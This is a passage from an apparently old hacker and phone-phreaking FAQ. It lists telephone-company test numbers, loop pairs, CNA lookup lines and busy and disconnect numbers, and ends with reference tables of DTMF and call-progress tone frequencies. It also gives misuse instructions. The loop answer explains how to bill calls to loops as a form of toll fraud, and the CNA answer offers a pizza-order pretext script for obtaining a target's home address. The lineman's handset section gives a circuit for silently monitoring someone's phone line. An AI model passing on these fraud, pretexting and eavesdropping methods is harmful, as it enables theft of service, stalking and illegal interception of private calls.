    614 998-xxxx Columbus/Steubenville, OH
    615 920-XXXX Chatanooga/Knoxville/Nashville, TN
    615 930-xxxx Chatanooga/Knoxville/Nashville, TN
    616 116-xxx-xxxx Battle Creek/Grand Rapids/Kalamazoo, MI (GTE)
    616 946-xxxx Battle Creek/Grand Rapids/Kalamazoo, MI
    619 331-xxxx San Diego, CA
    619 332-xxxx San Diego, CA
    659 981-XXXX Newmarket, NH
    703 511-xxx-xxxx VA
    703 958-xxxx Alexandria/Arlington/Roanoke, VA
    708 511-xxxx Chicago/Elgin, IL
    713 231-xxxx Los Angeles, CA
    714 330? Anaheim, CA (GTE)
    714 33?-xxxx Anaheim, CA (PacBell)
    716 981-xxxx Rochester, NY (Rochester Tel)
    718 660-xxxx Bronx/Brooklyn/Queens/Staten Island, NY
    719 99x-xxxx Colorado Springs/Leadville/Pueblo, CO
    801 938-xxxx Utah
    801 939-xxxx Utah
    802 987-xxxx Vermont
    804 260 Charlottesville/Newport News/Norfolk/Richmond, VA
    805 114 Bakersfield/Santa Barbara, CA
    805 980-xxxx Bakersfield/Santa Barbara, CA
    810 116-xxx-xxxx Pontiac/Southfield/Troy, MI (GTE)
    810 951-xxx-xxxx Pontiac/Southfield/Troy, MI
    813 711 Ft. Meyers/St. Petersburg/Tampa, FL
    817 971 Ft. Worth/Waco, TX (Flashhook, then 2#)
    818 915?-xxxx Pasadena, CA
    864 999-xxx-xxxx Greenville/Spartanburg, SC
    906 116-xxx-xxxx Marquette/Sault Ste. Marie, MI (GTE)
    906 951-xxx-xxxx Marquette/Sault Ste. Marie, MI
    908 55?-xxxx New Brunswick, NJ
    908 953 New Brunswick, NJ
    913 951-xxxx Lawrence/Salina/Topeka, KS
    914 660-xxxx-xxxx Peekskill/Poughkeepsie/White Plains/Yonkers, NY
    Canada:
    204 590-xxx-xxxx Manitoba
    403 999-xxx-xxxx Alberta, Yukon, and N.W. Territories
    416 57x-xxxx Toronto, Ontario
    416 99x-xxxx Toronto, Ontario
    416 999-xxx-xxxx Toronto, Ontario
    506 572+xxx-xxxx New Brunswick
    514 320-xxx-xxxx Montreal, Quebec
    519 999-xxx-xxxx London, Ontario
    604 311-xxx-xxxx British Columbia
    604 871-xxx-xxxx British Columbia
    613 999-xxx-xxxx Ottawa, Ontario
    705 999-xxx-xxxx North Bay/Saulte Ste. Marie, Ontario
    819 320-xxx-xxxx Quebec
    902 575-xxx-xxxx Halifax, Nova Scotia
    905 999-xxx-xxxx Hamilton/Mississauga/Niagra Falls, Ontario
    Argentina:
      115  
    Australia:
      +61 199  
    Brazil:
      109  
    France:
      3644  
    Malaysia:
      196  
    New Zealand:
      137  
    Sweden:
      0058  
    United Kingdom:
      174 or 1744 or 175 or 0500-89-0011 or 17070 + 1  
    The Netherlands:
      99-xxxxxx  
      0196 Amsterdam
      0123456789 Hilversum
      0123456789 Breukelen
      951 Groningen


    D-14. What is a loop?

    This FAQ answer is excerpted from: ToneLoc v0.99 User Manual

      by Minor Threat & Mucho Maas

    Loops are a pair of phone numbers, usually consecutive, like 836-9998 and 836-9999. They are used by the phone company for testing. What good do loops do us? Well, they are cool in a few ways. Here is a simple use of loops. Each loop has two ends, a 'high' end, and a 'low' end. One end gives a (usually) constant, loud tone when it is called. The other end is silent. Loops don't usually ring either. When BOTH ends are called, the people that called each end can talk through the loop. Some loops are voice filtered and won't pass anything but a constant tone; these aren't much use to you. Here's what you can use working loops for: billing phone calls! First, call the end that gives the loud tone. Then if the operator or someone calls the other end, the tone will go quiet. Act like the phone just rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or what the fuck ever. The operator thinks that she just called you, and that's it! Now the phone bill will go to the loop, and your local RBOC will get the bill! Use this technique in moderation, or the loop may go down. Loops are probably most useful when you want to talk to someone to whom you don't want to give your phone number.



    D-15. What is a loop in my area?

    Many (if not most) of these loops are no longer functional. If you are local to any of these loops, please try them out an e-mail me the results of your research.

    NPA High Low Notes
    201 666-9929 666-9930  
    208 862-9996 862-9997  
    213 365-1118 365-1119  
    308 357-0004 357-0005  
    310 455-0002 455-????  
    310 546-0002 546-????  
    312 262-9902 262-9903 Very odd sound
    313 224-9996 224-9997  
    313 225-9996 225-9997  
    313 234-9996 234-9997  
    313 237-9996 237-9997  
    313 256-9996 256-9997  
    313 272-9996 272-9997  
    313 273-9996 273-9997  
    313 277-9996 277-9997  
    313 281-9996 281-9997  
    313 292-9996 292-9997  
    313 299-9996 299-9997  
    313 321-9996 321-9997  
    313 326-9996 326-9997  
    313 356-9996 356-9997  
    313 362-9996 362-9997  
    313 369-9996 369-9997  
    313 388-9996 388-9997  
    313 397-9996 397-9997  
    313 399-9996 399-9997  
    313 445-9996 445-9997  
    313 465-9996 465-9997  
    313 471-9996 471-9997  
    313 474-9996 474-9997  
    313 477-9996 477-9997  
    313 478-9996 478-9997  
    313 483-9996 483-9997  
    313 497-9996 497-9997  
    313 526-9996 526-9997  
    313 552-9996 552-9997  
    313 556-9996 556-9997  
    313 561-9996 561-9997  
    313 569-9996 569-9996  
    313 575-9996 575-9997  
    313 577-9996 577-9997  
    313 585-9996 585-9997  
    313 591-9996 591-9997  
    313 621-9996 621-9997  
    313 626-9996 626-9997  
    313 644-9996 644-9997  
    313 646-9996 646-9997  
    313 647-9996 647-9997  
    313 649-9996 649-9997  
    313 663-9996 663-9997  
    313 665-9996 665-9997  
    313 683-9996 683-9997  
    313 721-9996 721-9997  
    313 722-9996 722-9997  
    313 728-9996 728-9997  
    313 731-9996 731-9997  
    313 751-9996 751-9997  
    313 776-9996 776-9997  
    313 781-9996 781-9997  
    313 787-9996 787-9997  
    313 822-9996 822-9997  
    313 833-9996 833-9997  
    313 851-9996 851-9997  
    313 871-9996 871-9997  
    313 875-9996 875-9997  
    313 886-9996 886-9997  
    313 888-9996 888-9997  
    313 898-9996 898-9997  
    313 934-9996 934-9997  
    313 942-9996 942-9997  
    313 963-9996 963-9997  
    313 977-9996 977-9997  
    315 673-9995 673-9996  
    315 695-9995 695-9996  
    406 225-9902 225-9903  
    408 238-0044 238-0045  
    408 773-0044 773-0045  
    501 753-4291 753-4297  
    517 422-9996 422-9997  
    517 423-9996 423-9997  
    517 563-9996 563-9997  
    517 663-9996 663-????  
    517 851-9996 851-9997  
    613 966-1111    
    703 591-9994    
    713 342-1499 342-1799  
    713 351-1499 351-1799  
    713 354-1499 354-1799  
    713 356-1499 356-1799  
    713 442-1499 442-1799  
    713 447-1499 447-1799  
    713 455-1499 455-1799  
    713 458-1499 458-1799  
    713 462-1499 462-1799  
    713 466-1499 466-1799  
    713 468-1499 468-1799  
    713 469-1499 469-1799  
    713 471-1499 471-1799  
    713 481-1499 481-1799  
    713 482-1499 482-1799  
    713 484-1499 484-1799  
    713 487-1499 487-1799  
    713 489-1499 489-1799  
    713 492-1499 492-1799  
    713 493-1499 493-1799  
    713 524-1499 524-1799  
    713 526-1499 526-1799  
    713 555-1499 555-1799  
    713 661-1499 661-1799  
    713 664-1499 664-1799  
    713 665-1499 665-1799  
    713 666-1499 666-1799  
    713 667-1499 667-1799  
    713 682-1499 976-1799  
    713 771-1499 771-1799  
    713 780-1499 780-1799  
    713 781-1499 997-1799  
    713 960-1499 960-1799  
    713 977-1499 977-1799  
    713 988-1499 988-1799  
    719 598-0009 598-0010  
    805 528-0044 528-0045  
    805 544-0044 544-0045  
    805 773-0044 773-0045  
    808 235-9907 235-9908  
    808 239-9907 239-9908  
    808 245-9907 245-9908  
    808 247-9907 247-9908  
    808 261-9907 261-9908  
    808 322-9907 322-9908  
    808 328-9907 328-9908  
    808 329-9907 329-9908  
    808 332-9907 332-9908  
    808 335-9907 335-9908  
    808 572-9907 572-9908  
    808 623-9907 623-9908  
    808 624-9907 624-9908  
    808 668-9907 668-9908  
    808 742-9907 742-9908  
    808 879-9907 879-9908  
    808 882-9907 882-9908  
    808 885-9907 885-9908  
    808 959-9907 959-9908  
    808 961-9907 961-9908  
    810 362-9996 362-9997  
    813 385-9971 385-xxxx  
    847 724-9951 724-????  
    908 254-9929 254-9930  
    908 558-9929 558-9930  
    908 560-9929 560-9930  
    908 776-9930 776-9930  
    916 221-0044 221-0045 Voice filtered
    916 222-0044 222-0045 Voice filtered


    D-16. What is a CNA number?

    CNA stands for Customer Name and Address. The CNA number is a phone number for telephone company personnel to call and get the name and address for a phone number. If a telephone lineman finds a phone line he does not recognize, he can use the ANI number to find its phone number and then call the CNA operator to see who owns it and where they live.

    Normal CNA numbers are available only to telephone company personnel. Private citizens may legally get CNA information from private companies. Companies offering this service include:

    Cross-Reference Directories (900)288-3020
    AT&T National Directory Assistance (900)555-1212
    Telename (900)884-1212
    Unidirectory (900)933-3330

    Note that these are 900 numbers, and will cost you approximately one dollar per minute.

    If you are in 312, 708, or parts of 815, AmeriTech has a pay-for-play CNA service available to the general public. The number is 796-9600. The cost is $.35/call and can look up two numbers per call.

    If you are in 415, Pacific Bell offers a public access CNL service at (415)705-9299.

    If you are in Bell Atlantic territory you can call (201)555-5454 or (908)555-5454 for automated CNA information. The cost is $.50/call.

    The legal telephone company CNA for Ontario is 555-1313.

    You can fool (800)967-5356 into giving you a free CNA by requesting a free disk and then entering the number you want the adress for at the prompt.

    You can often social engineer CNA information out of telephone company employees or out of employees of other companies with CNA access.

    Here is a sample script that works if your target has ever ordered pizza from Domino's or Pizza Hut:

    Them: Hi, thanks for call, may I take your order please?

    You: Yes, I'd like 4 large pepperoni pizzas.

    Them: May I have your phone number please?

    You: <State your targets phone number here>

    Them: Is this 238 Ward Road?

    You: Yes ma'am.



    D-17. What is the telephone company CNA number for my area?

    NPA Telephone Number Geography
    203 (203)771-8080 CT
    214 (214)744-9500 Southwestern Bell
    214 (214)745-7505 Southwestern Bell
    217 (217)789-8290 Ameritech (Illinois)
    312 (312)796-9600 Chicago, IL
    506 (506)555-1313 New Brunswick
    513 (513)397-9110 Cincinnati/Dayton, OH
    516 (516)321-5700 Hempstead/Long Island, NY
    614 (614)464-0123 Columbus/Steubenville, OH
    813 (813)270-8711 Ft. Meyers/St. Petersburg/Tampa, FL
    912 (912)752-2000 #1367 Albany/Savannah, GA
    NYNEX (518)471-8111 New York, Connecticut, Vermont, Rhode
    Island, New Hampshire, and Massachusetts



    D-18. What are some numbers that always ring busy?

    In the following listings, "xxx" means that the same number is used as a constantly busy number in many different prefixes. In most of these, there are some exchanges that ring busy and some exchanges that are in normal use. ALWAYS test these numbers at least three times during normal business hours before using as a constantly busy number.

    NPA Telephone Number Geography
    800 999-1803 WATS
    201 635-9970 Hackensack/Jersey City/Newark/Paterson, NJ
    212 724-9970 Manhattan, NY
    213 xxx-1117 Los Angeles, CA
    213 xxx-1118 Los Angeles, CA
    213 xxx-1119 Los Angeles, CA
    213 xxx-9198 Los Angeles, CA
    216 xxx-9887 Akron/Canton/Cleveland/Lorain/Youngstown, OH
    303 431-0000 Denver, CO
    303 866-8660 Denver, CO
    310 xxx-1117 Long Beach, CA
    310 xxx-1118 Long Beach, CA
    310 xxx-1119 Long Beach, CA
    310 xxx-9198 Long Beach, CA
    316 952-7265 Dodge City/Wichita, KS
    501 377-99xx AR
    518 571-xxxx Albany, NY
    719 472-3772 Colorado Springs/Leadville/Pueblo, CO
    805 255-0699 Bakersfield/Santa Barbara, CA
    714 xxx-1117 Anaheim, CA
    714 xxx-1118 Anaheim, CA
    714 xxx-1119 Anaheim, CA
    714 xxx-9198 Anaheim, CA
    717 292-0009 Harrisburg/Scranton/Wilkes-Barre, PA
    717 980-xxxx Harrisburg/Scranton/Wilkes Barre, PA
    818 xxx-1117 Pasadena, CA
    818 xxx-1118 Pasadena, CA
    818 xxx-1119 Pasadena, CA
    818 xxx-9198 Pasadena, CA
    818 885-0699 Pasadena, CA (???-0699 is a pattern)
    860 525-7078 Hartford, CT
    906 632-9999 Marquette/Sault Ste. Marie, MI
    906 635-9999 Marquette/Sault Ste. Marie, MI



    D-19. What are some numbers that temporarily disconnect phone service?

    If your NPA is not listed, or the listing does not cover your LATA, try common numbers such as 119 (GTD5 switches) or 511.

    NPA Telephone Number Geography Length of disconnection
    209 999 Stockton/Fresno/Lodi, CA (100 seconds)
    313 xxx-9994 Ann Arbor/Dearborn/Detroit, MI (Ameritech) (1 minute)
    314 511 Columbia/Jefferson City/St.Louis, MO (1 minute)
    404 420 Atlanta, GA (5 minutes)
    405 953 Enid/Oklahoma City, OK (1 minute)
    407 511 Orlando, FL (United Telephone) (1 minute)
    414 958-0013 Fond du Lac/Green Bay/Milwaukee/Racine, WI (1 minute)
    512 200 Austin/Corpus Christi, TX (1 minute)
    516 480 Hempstead/Long Island, NY (1 minute)
    517 xxx-9994 Bay City/Jackson/Lansing, MI (Ameritech) (1 minute)
    518 958 Albany, NY (1 minute)
    603 980 NH  
    614 xxx-9894 Columbus/Steubenville, OH  
    616 xxx-9994 Battle Creek/Grand Rapids/Kalamazoo, MI (Ameritech)(1 minute)
    805 119 Bakersfield/Santa Barbara, CA (3 minutes)
    807 211 Thunder Bay, Ontario (3 minutes)
    810 xxx-9994 Pontiac/Southfield/Troy, MI (Ameritech) (1 minute)
    906 xxx-9994 Marquette/Sault Ste. Marie, MI (Ameritech) (1 minute)
    919 211 or 511 Durham, NC (10 min - 1 hour)



    D-20. What is a Proctor Test Set?

    A Proctor Test Set is a tool used by telco personnel to diagnose problems with phone lines. You call the Proctor Test Set number and press buttons on a touch tone phone to active the tests you select.



    D-21. What is a Proctor Test Set in my area?

    If your NPA is not listed try common numbers such as 111 or 117.

    NPA Telephone Number Geography
    805 111 Bakersfield/Santa Barbara, CA
    909 117 Tyler, TX
    913 611-1111 Lawrence/Salina/Topeka, KS



    D-22. What is scanning?

    Scanning is dialing a large number of telephone numbers in the hope of finding anything interesting. Interesting items often include test tones, computers, Voice Message Boxes (VMB's), Private Branch Exchanges (PBX's), and government offices.

    Scanning can be done by hand, although dialing several thousand telephone numbers by hand is extremely boring and takes a long time.

    Much better is to use a scanning program, sometimes called a war dialer or a demon dialer. Currently, the best war dialer available to PC-DOS users is ToneLoc from Minor Threat and Mucho Maas.

    For the Macintosh, try Assault Dialer.

    A war dialer will dial a range of numbers and log what it finds at each number. You can then only dial up the numbers that the war dialer marked as carriers or tones.



    D-23. Is scanning illegal?

    Excerpt from: 2600, Spring 1990, Page 27:

    In some places, scanning has been made illegal. It would be hard, though, for someone to file a complaint against you for scanning since the whole purpose is to call every number once and only once. It's not likely to be thought of as harassment by anyone who gets a single phone call from a scanning computer. Some central offices have been known to react strangely when people start scanning. Sometimes you're unable to get a dialtone for hours after you start scanning. But there is no uniform policy. The best thing to do is to first find out if you've got some crazy law saying you can't do it. If, as is likely, there is no such law, the only way to find out what happens is to give it a try.

    It should be noted that a law making scanning illegal was recently passed in Colorado Springs, CO. It is now illegal to place a call in Colorado Springs without the intent to communicate.



    D-24. How can I make a lineman's handset?

    This FAQ answer was written by Phucked Agent 04:

    This is the "right hand" of both the professional and the amatuer lineman. Basically, it is a customized portable telephone which is designed to be hooked onto raw cable terminals in the field and used to monitor the line, talk, or dial out. The monitor function is usually the main difference between the "butt-in" test set and the normal phone. If you don't have a real test set already, the following circuit can convert a normal $4 made-in-taiwan phone into a working test set. The "all-in-one" handset units without bases are the best (I tend to like QUIK's and GTE Flip Phone II's). Anyway-

    OFFICIAL Agent 04 Generic Test Set Modification (tm)

    OFFICIAL Agent 04 Generic Test Set Modification (tm)
    
      Ring >---------------------------------> to "test set" phone
       Tip >------!  SPST Switch    !-------->
                  !-----/ ----------!
    >from         !-------/!/!/!/!--!    C = 0.22 uF  200 WVDC Mylar
    cable pair    !   C       R     !    R = 10 kOhm 1/2 W
    (alligators)  !--! (------------! SPST = Talk / Monitor
    

    When SPST is closed, you are in talk mode; when you lift the switch- hook on the "test set" phone, you will get a dial tone as if you were a standard extension of the line you are on. You will be able to dial out and receive calls. When the SPST is opened, the resistor and capacitor are no longer shunted, and they become part of the telephone circuit. When you lift the switchhook on the test set, you will not receive dial tone, due to the fact that the cap blocks DC, and the resistor passes less than 4 mA nominally (far below the amount necessary to saturate the supervisory ferrod on ESS or close the line relay on any other switch). However, you will be able to silently monitor all audio on the line. The cap reactance + the phone's impedance insure that you won't cut the signal too much on the phone line, which might cause a noticeable change (..expedite the shock force, SOMEONE'S ON MY LINE!!). It's also good to have a VOM handy when working outside to rapidly check for active lines or supervision states.



    D-25. Where can I purchase a lineman's handset?

    Contact East
    335 Willow Street
    North Andover, MA 01845-5995
    (508)682-2000

    Jensen Tools
    7815 S. 46th Street
    Phoenix, AZ 85044-5399
    (800)426-1194

    Specialized Products
    3131 Premier Drive
    Irving, TX 75063
    (800)866-5353

    Time Motion Tools
    12778 Brookprinter Place
    Poway, CA 92064
    (619)679-0303



    D-26. What are the DTMF frequencies?

    DTMF stands for Dual Tone Multi Frequency. These are the tones you get when you press a key on your telephone touch pad. The tone of the button is the sum of the column and row tones. The ABCD keys do not exist on standard telephones.

      1209hz 1336hz 1477hz 1633hz
    697hz 1 2 3 A
    770hz 4 5 6 B
    852hz 7 8 9 C
    941hz * 0 # D

    D-27. What are the frequencies of the telephone tones?

    Many of these tones are no longer used and are mentioned here only for historical accuracy.

    Low Tone

    This is a generic tone used with various interruption patterns for specific tones listed below and described under their own titles:

    Line Busy Tone
    Reorder
    RevertingTone
    No Circuit Tone
    No Such Number
    Vacant Code
    Group Busy Tone
    Deposit Coin Tone
    Vacant Position Tone
    Dial Off-Normal Tone
    Trouble Tone
    Dial Jack Tone
    Dial Test Signal
    Class of Service

    Low Tone 480 Hz and 620 Hz at -24 dBm0/frequency. On some systems manufactured before 1974, Low Tone was 600 Hz modulated at 120, 133, 140 or 160 Hz at 61 - 71 dBrnC.


    High Tone

    This is a generic tone used with various interruption patterns for the specific tones listed below and described under their own titles:

    Partial Dial Tone
    Permanent Signal
    Coin Return (Test) Tone
    Coin Return Tone
    Number Checking Tone
    Intercepting Loopback Tone
    Warning Tone
    Order Tone
    Station Ringer Test
    Class of Service

    High Tone 480 Hz at -17 dBm0. On some systems manufactured before 1974, High Tone was 400 Hz or 500 Hz at 61 - 71 dBrnC.


    Dial Tone

    This tone is sent to a customer or operator to indicate that the receiving end is ready to receive dial pulses or DTMF signals. It is used in all types of dial offices when dial pulses are produced by the customer's or operator's dials. Normally dial tone means that the entire wanted number may be dialed; however, there are some cases where the calling party must await a second dial tone or where an operator, after dialing an initial group of digits, must wait for a second dial tone before the rest of the number can be dialed. Some dialing switchboards are arranged to permit listening for dial tone between certain digits.

    Dial Tone is 350 Hz and 440 Hz held steady at -13 dBm0/frequency.


    Audible Ring Tone

    This is a ringing indication which is intercepted by the calling party to mean that the called line has been reached and that the ringing has started. It is also used on calls to operators (special service, long distance, intercepting, etc) during the "awaiting-operator-answer" interval.

    Audible Ring Tone is 440 Hz and 480 Hz for 2 seconds on and 4 seconds off at -13 dBm0/frequency.


    Line Busy Tone

    The Line Busy Tine indicates that the called customer's line has been reached but that it is busy or being rung or on permanent signal. When a line busy signal is applied by an operator, it is sometimes calls a busy-back tone.

    Line Busy Tone is Low Tone on and off every .5 seconds.


    Reorder

    Reorder indicates that the local or toll switching or transmission paths to the office or equipment serving the called customer is busy. This signal may indicate a condition such as a timed-out sender or unassigned code dialed. It is interpreted by either a customer or an operator as a reorder signal.

    Reorder on a local call is Low Tone for .3 seconds on and .2 seconds off. Reorder on a toll call is Low Tone for .2 seconds on and .3 seconds off. In No. 5 crossbar, No. 1/1A ESS, No. 2/2B ESS switching equipment and No. 1 step-by-step offices using the Precise Tone Plan, the temporal pattern is 0.25 second of low tone and 0.25 second off.


    Alerting Tone

    Indicates that an operator has connected to the line (emergency interrupt on a busy line during a verification call).

    Alerting Tone is 440 Hz on for 2 seconds and then on again for .5 seconds every ten seconds.


    Recorder Warning Tone

    When recording equipment is used, this tone is connected to the line to inform the distant party that the conversation is bveing recorded. The tone source is located within the recording equipment and cannot be controlled by the party applying the recording equipment to the line. This tone is required by law and is recorded along with the speech.

    Recorder Warning Tone is a .5 second burst at 1400 Hz every 15 seconds.


    Recorder Connected Tone

    This tone is used to inform the customer that his/her call is connected to a recording machine and that he/she should proceed to leave a message, dictate, etc. It is to be distinguished from the recorder warning tone, which warns the customer that his/her 2-way conversation is being recorded.

    Recorder Warning Tone is a .5 second burst at 440 Hz every 5 seconds.


    Reverting Tone

    The same type of signal as line busy tone is used for reverting tone in all systems. In No. 5 crossbar systems, a second dial tone is sometimes also used when a calling party identification digit is required. The reverting signal informs the calling subscriber that the called party is on the same line and that he/she should hang up while the line is being rung.

    Reverting Tone is is Low Tone on and off every .5 seconds at -24 dBm0/frequency.


    Deposit Coin Tone

    This tone, sent from a Community Dial Office to a post-pay coin telephone, informs the calling party that the called party has answered and that the coin should be deposited.

    Deposit Coin Tone is a steady Low Tone.


    Receiver Off-Hook Tone

    This tone is used to cause off-hook customers to replace the receiver on-hook on a permanent signal call and to signal a non-PBX off-hook line when ringing key is operated by a switchboard operator.


    Receiver Off-Hook Tone is 1400 Hz, 2060 Hz, 2450 Hz and 2600 Hz at 0 dBm0/frequency on and off every .1 second. On some older space division switching systems Receiver Off-Hook was 1400 Hz, 2060 Hz, 2450 Hz and 2600 Hz at +5 VU on and off every .1 second. On a No. 5 ESS this continues for 30 seconds. On a No. 2/2B ESS this continues for 40 seconds. On some other AT&T switches there are two iterations of 50 seconds each.


    Howler

    This tone is used in older offices to inform a customer that their receiver is off-hook. It has been superseded by the receiver off-hook tone.

    Howler was a 480 Hz tone incremented in volume every second for ten seconds until it reaches +40 VU.


    Partial Dial Tone

    High-tone is used to notify the calling party that he/she has not commenced dialing within a preallotted time, measured after receipt of dial tone (permanent signal condition), or that he/she has not dialed enough digits (partial dial condition). This is a signal to hang up and dial again.

    Partial Dial Tone is a steady High Tone.


    No Such Number a.k.a. "Cry Baby"

    This signal tells the calling party to hang up, check the called number, and dial again. In modern systems, calls to unassigned or discontinued numbers will also be routed to a machine announcement system, such as 6A or 7A, which verbally supplies the require message. In some older offices, you could be routed to an intercepting operator. In some offices, reorder tone is returned in this condition.

    No Such Number is 200 to 400 Hz modulated at 1 Hz, interrupted every 6 seconds for .5 seconds.


    Vacant Code

    This tone is used in crossbar systems to indicate that the dialed office code is unassigned. In step-by-step areas, this signal is called vacant level tone. For operator-originated calls, the verbal announcement is preceeded by two flashes. In modern systems, recorded verbal announcements are used for this service.

    Vacant Code is Low Tone for .5 seconds on, .5 seconds off, .5 seconds of and 1.5 seconds off.


    Busy Verification Tone (Centrex)

    Busy verification is a Centrex feature that allows the attendant to call and be connected to a busy Centrex station within the attendant's customer group. The busy verification tone is applied to both parties of the connection to inform them of the intrusion by the attendant. No tone is applied if the station called for busy verification is idle.

    Busy Verification Tone (Centrex) is 440 Hz at -13 dBm0 for 1.5 seconds and then again for .3 seconds every 7.5 to 10 seconds. On a No. 1/1A ESS, Busy Verification Tone (Centrex) is 440 Hz at -13 dBm0 for 1.5 seconds and then again for .3 seconds every 6 seconds.

    There is also a TSPS Busy Verification tone, which is 440 Hz at -13 dBm0 for 2 seconds and then on again for .5 seconds every 10 seconds.


    Call Waiting Tone

    Call Waiting is a special service that allows a busy line to answer an incoming call by flashing the switchhook. Audible ring (instead of line busy) is applied to the calling line, and the Call Waiting tone is applied to the called line. (So that only the called party hears the tone, the connection is momentarily broken, and the other party to that connection experiences a moment of silence.) Flashing the switchhook places the existing connection on hold and connects the customer to the waiting call.

    Call Waiting Tone is two bursts of 440 Hz at -13 dBm0/frequency for .3 seconds plus or minus ten percent every ten seconds.


    Confirmation Tone

    This tone is used to acknowledge receipt by automatic equipment of information necessary for special services. It is currently used for:

    1. Speed Calling - dialed number has been recorded
    2. Call Forwarding - dialed number has been recorded and service is activated
    3. Call Forwarding - service is deactivated

    Confirmation Tone is 350 Hz and 440 Hz at -13 dBm0/frequency on for .1 second, off for .1 second and then on for .3 seconds.


    Indication of Camp-On

    Attendant camp-on service allows an electronic switching system Centrex attendant to hold incoming calls to busy lines. Each time the attendant releases his/her talking connection from the loop involved in the camped-on call, the indication of camp-on tone is heard by the called customer if the customer has subscribed to the indication of camp-on option. The customer may get this tone several times as the attendant reconnects and releases from the loop in response to timed reminders from the console.

    Indication of Camp On is 440 Hz at -13 dBm0 for one second every time the attendant releases from the loop.


    Special Dial Tone

    This tone is used with Three-Way Calling, Centrex station dial transfer, and Centrex conference (station or attendant) services. The user on an existing connection flashes the switchhook, receives special dial tone, and dials number of the third party to be added to the connection.

    Special Dial Tone is 350 Hz and 440 Hz at -13 dBm0/frequency for .1 second on, .1 second off, .1 second on, .1 second off, .1 second on, .1 second off, and then on steady.


    Priority Audible Ring (AUTOVON)

    This tone replaces normal audible ring for priority calls within the AUTOVON network.

    Priority Audible Ring is 440 Hz and 480 Hz at -16 dBm0/frequency on for 1.65 seconds and off for .35 seconds.


    Preemption Tone (AUTOVON)

    This tone is provided to both parties of a connection that is preempted by a priority call from the AUTOVON network.

    Preemption Tone is 440 Hz and 620 Hz at -18 dBm0/frequency steady for anywhere from three to fifteen seconds.


    Data Set Answer Back Tone

    This set is heard when manually initiating a data call. It normally occurs shortly after the start of audible ringing and means that the remote data set has answered. The data set at the calling end should then be put into the data mode.

    Data Set Answer Back Tone is 2025 Hz steady at -13 dBm.


    Calling Card Service Prompt Tone

    This tone is used to inform the customer that his/her credit card information must be keyed in. The first 60 milliseconds of this composite tone is 941 Hz abd 1477 Hz which is the DTMF '#'. This tone will release and DTMF to dial pulse converter in the conneciton.

    Calling Card Service Prompt Tone is 941 Hz and 1477 Hz at -10 dBm0/frequency at -3 Transmission Level Point for 60 milliseconds and then 440 Hz and 350 Hz at -7 dBm0 for .940 seconds exponentially decayed from -10 dBm per frequency at -3 Transmission Level Point at time constant of .2 seconds.


    Class of Service

    These signals are used at a toll board operating as an 'A" board to identify the class or service of the calling customer. The indication may be high, low, or no tone.

    Class of Service is a single burst of either High Tone or Low Tone for .05 to 1 seconds.


    Dial-Normal Transmission Signal

    This is a second dial tone returned to an operator between digits indicating that he/she may dial the remainder of the number. For example, when an operator reaches a link-type Community Dial Office via a step-by-step office after dialing a routing code, he/she must pause until an idle link at the Community Dial Office returns dial tone. This method of operation is not recommended or considered standard.

    Dial-Normal Transmission Signal is a steady Low Tone.


    Dial Jack Tone

    Low tone is used as a start-dial signal to tell a DSA operator that the connection reached through a dial jack is ready to receive dialing.

    Dial Jack Tone is a steady Low Tone.


    Order Tone

    High tones sent over interposition, local interoffice, or toll trunks indicate:

    1. the the originating operator that the order should be passed
    2. to the receiving operator that an order is about to be passed

    For Call Announcement and Autometic Display Call Indicator, the tone serves function two only.

    1. Single-order tone - This is a relatively long (0.5 second) signal which means that the originating operator should pass the office name and number.

    2. Double-order tone - This signal is two short spurts in quick succession and means that the operator should pass only the desired number.

    3. Triple-order tone - This signal is three short spurts in quick succession and means that the operator should pass the office name only and wait for another order tone.

    4. Quadruple-order tone - This signal is four short spurts in quick succession and means that the operator should pass the city name only and wait for another challenge. It is used in manual toll tandem (also called zip tones or trunk assignment tones).

    Single-order tone is one .5 spurt of High Tone. Double-order tone is two short spurts of High Tone. Triple-order tone is three short spurts of High Tone. Quadruple-order tone is four short spurts of High Tone.


    Intercepting Loopback Tone

    High tone sent from an intercept operator to the 'A' board operator in manual offices indicates that an intercept operator has completed the call and that the 'A' should disconnect from the circuit. The completion of intercepted calls in this manner is no longer recommended.

    Intercepting Loopback Tone is a steady High Tone.


    Number Checking Tone

    High tone is sometimes used at DSA switchboards in No. 1 crossbar and some step-by-step areas to verify the verbal identification of the calling line.

    Number Checking Tone is a steady High Tone. On some older systems, Number Checking Tone was a steady 135 Hz tone.


    Coin Denomination Tones

    These tones enable the operator to determine the amount deposited in coin telephones.

    Coin Denomination Tones for the old 3 slot payphones were:

    Nickel - One tap of 1050 Hz and 1100 Hz (bell)

    Dime - Two taps of 1050 Hz and 1100 Hz (bell)

    Quarter - One tap at 800 Hz (gong)


    Coin Collect Tone

    Low tone over a coin recording-completing trunk informs the originating toll operator that the local operator or coin control circuit has collected the charge.

    Coin Collect Tone is a steady Low Tone.


    Coin Return Tone

    High tone over a coin recording-completing trunk informs the originating toll operator that the local operator or coin control circuit has returned the change when the connection is not completed (also called coin refund tone).

    Coin Return Tone is a single .5 to 1 second burst of High Tone.


    Coin Return (Test) Tone

    High tone is used to tell an operator in a dial central office that a tester has completed a call to his/her position over a coin trunk.

    Coin Return (Test) Tone is a single .5 to 1 second burst of High Tone.


    Group Busy Tone

    This audible signal is indicated by low tone on the sleeve of trunk jacks at cord switchboards. Absense of the tone tells the operator that there is at least one idle trunk in a group.

    Group Busy Tone is a steady Low Tone.


    Vacant Position Tone

    Low tone is applied to all straightforward trunks terminating in a vacated position in manual offices.

    Vacant Position Tone is a steady Low Tone.


    Dial Off-Normal Tone

    Low tone is returned to an operator after he/she has completed a call into a step-by-step office and after the calling party has answered to remind him/her to restore the dial key.

    Dial Off-Normal Tone is a steady Low Tone.


    Permanent Signal

    A customer line, not in use, which exhibits a steady off-hook condition is routed to a permanent signal trunk. High tone, superimposed on battery, is supplied through a resistance lamp to the ring of the trunk. The tone is used to inform an operator or other employee making a verification test that the line is temporarily out of service. An intermittent ground may also be applied to the ring of the telephone systems left in the hold condition. Typical reasons for the line condition are:

    1. No dialing within the allowed waiting interval.
    2. A handset is off-hook.
    3. Low insulation resistance or other line trouble.

    In some offices, if three or more digits are dialed but not a complete telephone number or code, the call is released and dial tone is returned.

    Permanent Signal is a steady High Tone.


    Warning Tone

    High tone warns an operator that the circuit he/she is connected to is not in condition for normal operation. Examples:

    1. An operator at an Automatic Display Call Indicator position plugs in the wrong jack.
    2. An operator at a sender monitor position plugs into a sender supervisory jack while the sender is under test.

    Warning Tone is a steady High Tone.


    Trouble Tone

